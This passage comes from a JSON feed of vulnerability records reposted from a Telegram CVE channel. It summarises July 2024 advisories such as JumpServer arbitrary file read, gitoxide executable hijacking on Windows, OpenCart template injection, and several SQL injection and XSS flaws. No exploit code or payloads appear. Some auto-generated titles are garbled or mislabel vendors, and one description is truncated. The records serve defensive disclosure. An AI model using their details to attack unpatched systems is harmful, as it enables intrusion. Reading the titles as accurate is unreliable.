"2024-07-18T20:08:17.000000Z"}, {"uuid": "454ac325-f88f-4ec3-83db-95a28826cf57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40636", "type": "seen", "source": "https://t.me/cvedetector/1115", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40636 - Steeltoe Eureka Basic Auth Log Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40636 \nPublished : July 17, 2024, 6:15 p.m. | 25\u00a0minutes ago \nDescription : Steeltoe is an open source project that provides a collection of libraries that helps users build production-grade cloud-native applications using externalized configuration, service discovery, distributed tracing, application management, and more. When utilizing multiple Eureka server service URLs with basic auth and encountering an issue with fetching the service registry, an error is logged with the Eureka server service URLs but only the first URL is masked. The code in question is  `_logger.LogError(e, \"FetchRegistry Failed for Eureka service urls: {EurekaServerServiceUrls}\", new Uri(ClientConfig.EurekaServerServiceUrls).ToMaskedString());` in the `DiscoveryClient.cs` file which may leak credentials into logs. This issue has been addressed in version 3.2.8 of the Steeltoe.Discovery.Eureka nuget package. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T20:44:06.000000Z"}, {"uuid": "e04a6472-d8d3-4de8-83ed-d346ead990dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40119", "type": "seen", "source": "https://t.me/cvedetector/1122", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40119 - Nepstech Wifi Router CSRF: Compromised Admin Password\", \n  \"Content\": \"CVE ID : CVE-2024-40119 \nPublished : July 17, 2024, 8:15 p.m. | 37\u00a0minutes ago \nDescription : Nepstech Wifi Router xpon (terminal) model NTPL-Xpon1GFEVN v.1.0 Firmware V2.0.1 contains a Cross-Site Request Forgery (CSRF) vulnerability in the password change function, which allows remote attackers to change the admin password without the user's consent, leading to a potential account takeover. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T23:14:37.000000Z"}, {"uuid": "966c1872-7449-4a10-a484-d48fc4d24136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40628", "type": "seen", "source": "https://t.me/cvedetector/1165", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40628 - JumpServer Ansible File Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40628 \nPublished : July 18, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : JumpServer is an open-source Privileged Access Management (PAM) tool that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser. An attacker can exploit the ansible playbook to read arbitrary files in the celery container, leading to sensitive information disclosure. The Celery container runs as root and has database access, allowing the attacker to steal all secrets for hosts, create a new JumpServer account with admin privileges, or manipulate the database in other ways. This issue has been addressed in release versions 3.10.12 and 4.0.0. It is recommended to upgrade the safe versions. There is no known workarounds for this vulnerability. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T20:08:22.000000Z"}, {"uuid": "d41a3991-9652-4d19-a933-07f9df3148b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40644", "type": "seen", "source": "https://t.me/cvedetector/1164", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40644 - Gitoxide Windows Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40644 \nPublished : July 18, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : gitoxide An idiomatic, lean, fast & safe pure Rust implementation of Git. `gix-path` can be tricked into running another `git.exe` placed in an untrusted location by a limited user account on Windows systems. Windows permits limited user accounts without administrative privileges to create new directories in the root of the system drive. While `gix-path` first looks for `git` using a `PATH` search, in version 0.10.8 it also has a fallback strategy on Windows of checking two hard-coded paths intended to be the 64-bit and 32-bit Program Files directories. Existing functions, as well as the newly introduced `exe_invocation` function, were updated to make use of these alternative locations. This causes facilities in `gix_path::env` to directly execute `git.exe` in those locations, as well as to return its path or whatever configuration it reports to callers who rely on it. Although unusual setups where the system drive is not `C:`, or even where Program Files directories have non-default names, are technically possible, the main problem arises on a 32-bit Windows system. Such a system has no `C:\\Program Files (x86)` directory. A limited user on a 32-bit Windows system can therefore create the `C:\\Program Files (x86)` directory and populate it with arbitrary contents. Once a payload has been placed at the second of the two hard-coded paths in this way, other user accounts including administrators will execute it if they run an application that uses `gix-path` and do not have `git` in a `PATH` directory. (While having `git` found in a `PATH` search prevents exploitation, merely having it installed in the default location under the real `C:\\Program Files` directory does not. This is because the first hard-coded path's `mingw64` component assumes a 64-bit installation.). Only Windows is affected. Exploitation is unlikely except on a 32-bit system. In particular, running a 32-bit build on a 64-bit system is not a risk factor. Furthermore, the attacker must have a user account on the system, though it may be a relatively unprivileged account. Such a user can perform privilege escalation and execute code as another user, though it may be difficult to do so reliably because the targeted user account must run an application or service that uses `gix-path` and must not have `git` in its `PATH`. The main exploitable configuration is one where Git for Windows has been installed but not added to `PATH`. This is one of the options in its installer, though not the default option. Alternatively, an affected program that sanitizes its `PATH` to remove seemingly nonessential directories could allow exploitation. But for the most part, if the target user has configured a `PATH` in which the real `git.exe` can be found, then this cannot be exploited. This issue has been addressed in release version 0.10.9 and all users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T20:08:21.000000Z"}, {"uuid": "6493e69e-9ea1-48a9-9d44-d582a2433482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40647", "type": "seen", "source": "https://t.me/cvedetector/1160", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40647 - Sentry-SDK Environment Variable Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40647 \nPublished : July 18, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : sentry-sdk is the official Python SDK for Sentry.io. A bug in Sentry's Python SDK Severity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T20:08:15.000000Z"}, {"uuid": "bce0a9f4-ab48-4b04-af2e-22157787bc3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "https://t.me/cvedetector/1148", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40898 - Apache HTTP Server mod_rewrite SSRF NTML Hash Leak on Windows\", \n  \"Content\": \"CVE ID : CVE-2024-40898 \nPublished : July 18, 2024, 10:15 a.m. | 44\u00a0minutes ago \nDescription : SSRF in Apache HTTP Server on Windows with mod_rewrite in server/vhost context, allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests.  \n  \nUsers are recommended to upgrade to version 2.4.62 which fixes this issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T13:27:11.000000Z"}, {"uuid": "b31efaea-38c0-4949-a8ef-6ab820d4aec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40764", "type": "seen", "source": "https://t.me/cvedetector/1143", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40764 - SonicOS Heap-based Buffer Overflow Remote Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-40764 \nPublished : July 18, 2024, 8:15 a.m. | 32\u00a0minutes ago \nDescription : Heap-based buffer overflow vulnerability in the SonicOS IPSec VPN allows an unauthenticated remote attacker to cause Denial of Service (DoS). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T10:56:47.000000Z"}, {"uuid": "99ad44e8-cdef-4c1e-8c43-c7f7007fa0f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40420", "type": "seen", "source": "https://t.me/cvedetector/1118", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40420 - OpenCart Template Injectionberserker\", \n  \"Content\": \"CVE ID : CVE-2024-40420 \nPublished : July 17, 2024, 7:15 p.m. | 15\u00a0minutes ago \nDescription : A Server-Side Template Injection (SSTI) vulnerability in the edit theme function of openCart project v4.0.2.3 allows attackers to execute arbitrary code via injecting a crafted payload. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T21:34:18.000000Z"}, {"uuid": "27b20bec-c2de-416d-b55d-68f4ac54e1c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40492", "type": "seen", "source": "https://t.me/cvedetector/1127", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40492 - \"Heartbeat Chat Cross Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-40492 \nPublished : July 17, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in Heartbeat Chat v.15.2.1 allows a remote attacker to execute arbitrary code via the setname function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T00:55:02.000000Z"}, {"uuid": "1a347110-3f77-471e-b08f-816ac4075016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40402", "type": "seen", "source": "https://t.me/cvedetector/1120", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40402 - Sourcecodester Simple Library Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-40402 \nPublished : July 17, 2024, 8:15 p.m. | 37\u00a0minutes ago \nDescription : A SQL injection vulnerability was found in 'ajax.php' of Sourcecodester Simple Library Management System 1.0. This vulnerability stems from insufficient user input validation of the 'username' parameter, allowing attackers to inject malicious SQL queries. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T23:14:35.000000Z"}, {"uuid": "4ef0bd57-95c7-495f-bdc0-7253d51ccc50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40456", "type": "seen", "source": "https://t.me/cvedetector/1001", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40456 - ThinkSAAS SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40456 \nPublished : July 16, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : ThinkSAAS v3.7.0 was discovered to contain a SQL injection vulnerability via the name parameter at \\system\\action\\update.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:58:47.000000Z"}, {"uuid": "735f703b-20d6-4a5a-89f2-0b1942ed8cd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40640", "type": "seen", "source": "https://t.me/cvedetector/1114", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40640 - Vodozemac Non-Constant Time Base64 vulnerability - Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40640 \nPublished : July 17, 2024, 6:15 p.m. | 25\u00a0minutes ago \nDescription : vodozemac is an open source implementation of Olm and Megolm in pure Rust.  Versions before 0.7.0 of vodozemac use a non-constant time base64 implementation for importing key material for Megolm group sessions and `PkDecryption` Ed25519 secret keys. This flaw might allow an attacker to infer some information about the secret key material through a side-channel attack. The use of a non-constant time base64 implementation might allow an attacker to observe timing variations in the encoding and decoding operations of the secret key material. This could potentially provide insights into the underlying secret key material. The impact of this vulnerability is considered low because exploiting the attacker is required to have access to high precision timing measurements, as well as repeated access to the base64 encoding or decoding processes.  Additionally, the estimated leakage amount is bounded and low according to the referenced paper. This has been patched in commit 734b6c6948d4b2bdee3dd8b4efa591d93a61d272 which has been included in release version 0.7.0. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 2.9 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T20:44:05.000000Z"}, {"uuid": "d2d97a88-8bd3-4f2a-bcaf-5807d9e28205", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40639", "type": "seen", "source": "https://t.me/cvedetector/1113", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40639 - Gotenberg Chromium Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40639 \nPublished : July 17, 2024, 6:15 p.m. | 25\u00a0minutes ago \nDescription : Gotenberg provides a developer-friendly API to interact with powerful tools like Chromium and LibreOffice for converting numerous document formats (HTML, Markdown, Word, Excel, etc.) into PDF files, and more! Prior to version 8.1.0, the default value for the flag `--chromium-deny-list` allowed to display some internal files from the Gotenberg container. Version 8.1.0 provides a new default value fixing the issue. Prior to version 8.1.0, Gotenberg uses the standard `regexp` Go library, which does not support negative lookahead. Therefore, the new default value for the `--chromium-deny-list` is not applicable. However, one could find an alternative using either or both `--chromium-deny-list` and `--chromium-allow-list` flags. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T20:44:04.000000Z"}, {"uuid": "de4d1b3e-1072-4621-ae5a-c3ddd4130363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40633", "type": "seen", "source": "https://t.me/cvedetector/1112", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40633 - Sylius Exposed Order Tokens through Adjustment ID Enumeration\", \n  \"Content\": \"CVE ID : CVE-2024-40633 \nPublished : July 17, 2024, 6:15 p.m. | 25\u00a0minutes ago \nDescription : Sylius is an Open Source eCommerce Framework on Symfony. A security vulnerability was discovered in the `/api/v2/shop/adjustments/{id}` endpoint, which retrieves order adjustments based on incremental integer IDs. The vulnerability allows an attacker to enumerate valid adjustment IDs and retrieve order tokens. Using these tokens, an attacker can access guest customer order details - sensitive guest customer information.  The issue is fixed in versions: 1.12.19, 1.13.4 and above. The `/api/v2/shop/adjustments/{id}` will always return `404` status. Users are advised to upgrade. Users unable to upgrade may alter their config to mitigate this issue. Please see the linked GHSA for details. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T20:44:03.000000Z"}, {"uuid": "42cb84ec-c360-4bfb-93cc-f4d5dba76d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40641", "type": "seen", "source": "https://t.me/cvedetector/1111", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40641 - Apache Nuclei Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40641 \nPublished : July 17, 2024, 6:15 p.m. | 25\u00a0minutes ago \nDescription : Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL.  In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 7.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T20:44:02.000000Z"}, {"uuid": "c242bd00-4088-4cd1-b8ba-76c9a601b374", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40601", "type": "seen", "source": "https://t.me/cvedetector/160", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40601 - An issue was discovered in the MediaWikiChat exten\", \n  \"Content\": \"CVE ID : CVE-2024-40601 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the MediaWikiChat extension for MediaWiki through 1.42.1. CSRF can occur in API modules. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:32.000000Z"}, {"uuid": "77044c61-9455-435e-8446-d52b7aed441c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40599", "type": "seen", "source": "https://t.me/cvedetector/159", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40599 - An issue was discovered in the GuMaxDD skin for Me\", \n  \"Content\": \"CVE ID : CVE-2024-40599 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the GuMaxDD skin for MediaWiki through 1.42.1. There is stored XSS via MediaWiki:Sidebar top-level menu entries. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:32.000000Z"}, {"uuid": "6d0d78f1-b082-40ce-baaf-240b5637dd7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40602", "type": "seen", "source": "https://t.me/cvedetector/158", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40602 - An issue was discovered in the Tempo skin for Medi\", \n  \"Content\": \"CVE ID : CVE-2024-40602 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the Tempo skin for MediaWiki through 1.42.1. There is stored XSS via MediaWiki:Sidebar top-level menu entries. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:31.000000Z"}, {"uuid": "8165ea67-2257-405e-bc92-6ad325c8e494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40632", "type": "seen", "source": "https://t.me/cvedetector/909", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40632 - Linkerd SSRF Denial-of-Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40632 \nPublished : July 15, 2024, 10:15 p.m. | 42\u00a0minutes ago \nDescription : Linkerd is an open source, ultralight, security-first service mesh for Kubernetes. In affected versions when the application being run by linkerd is susceptible to SSRF, an attacker could potentially trigger a denial-of-service (DoS) attack by making requests to localhost:4191/shutdown. Linkerd could introduce an optional environment variable to control a token that must be passed as a header. Linkerd should reject shutdown requests that do not include this header. This issue has been addressed in release version edge-24.6.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T01:13:05.000000Z"}, {"uuid": "3c807f8d-869a-4c5d-9aae-19dbc0835558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40617", "type": "seen", "source": "https://t.me/cvedetector/1068", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40617 - Fujitsu Network Edgiot GW1500 Path Traversal Allows Sensitive Information Access\", \n  \"Content\": \"CVE ID : CVE-2024-40617 \nPublished : July 17, 2024, 9:15 a.m. | 42\u00a0minutes ago \nDescription : Path traversal vulnerability exists in FUJITSU Network Edgiot GW1500 (M2M-GW for FENICS). If a remote authenticated attacker with User Class privilege sends a specially crafted request to the affected product, access restricted files containing sensitive information may be accessed. As a result, Administrator Class privileges of the product may be hijacked. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T12:21:57.000000Z"}, {"uuid": "310b0606-40bf-4704-b347-31972fce4cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40626", "type": "seen", "source": "https://t.me/cvedetector/982", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40626 - Outline Stored Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40626 \nPublished : July 16, 2024, 5:15 p.m. | 16\u00a0minutes ago \nDescription : Outline is an open source, collaborative document editor. A type confusion issue was found in ProseMirror\u2019s rendering process that leads to a Stored Cross-Site Scripting (XSS) vulnerability in Outline. An authenticated user can create a document containing a malicious JavaScript payload. When other users view this document, the malicious Javascript can execute in the origin of Outline. Outline includes CSP rules to prevent third-party code execution, however in the case of self-hosting and having your file storage on the same domain as Outline a malicious payload can be uploaded as a file attachment and bypass those CSP restrictions. This issue has been addressed in release version 0.77.3. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T19:37:55.000000Z"}, {"uuid": "d8560ccb-bb55-4927-ac85-8ff445dc63de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40637", "type": "seen", "source": "https://t.me/cvedetector/1026", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40637 - Apache dbt Package Overriding Arbitrary Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40637 \nPublished : July 16, 2024, 11:15 p.m. | 44\u00a0minutes ago \nDescription : dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications. When a user installs a package in dbt, it has the ability to override macros, materializations, and other core components of dbt. This is by design, as it allows packages to extend and customize dbt's functionality. However, this also means that a malicious package could potentially override these components with harmful code. This issue has been fixed in versions 1.8.0, 1.6.14 and 1.7.14. Users are advised to upgrade. There are no kn own workarounds for this vulnerability. Users updating to either 1.6.14 or 1.7.14 will need to set `flags.require_explicit_package_overrides_for_builtin_materializations: False` in their configuration in `dbt_project.yml`. \nSeverity: 4.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-17T02:19:51.000000Z"}, {"uuid": "bf0bbca4-466e-4f94-8ac2-7eb5b5e1bb3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40524", "type": "seen", "source": "https://t.me/cvedetector/911", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40524 - Xmind2testcase Directory Traversal Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-40524 \nPublished : July 15, 2024, 11:15 p.m. | 44\u00a0minutes ago \nDescription : Directory Traversal vulnerability in xmind2testcase v.1.5 allows a remote attacker to execute arbitrary code via the webtool\\application.py component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T02:03:16.000000Z"}, {"uuid": "205e3031-2232-4093-8496-370023bef142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40416", "type": "seen", "source": "https://t.me/cvedetector/885", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40416 - Tenda AX1806 Stack-based Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-40416 \nPublished : July 15, 2024, 6:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability in /goform/SetVirtualServerCfg in the sub_6320C function in Tenda AX1806 1.0.0.1 firmware leads to stack-based buffer overflow. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T21:01:49.000000Z"}, {"uuid": "f7995a36-16e9-4aff-a44e-5423a362f92c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40415", "type": "seen", "source": "https://t.me/cvedetector/883", "content": "{\n  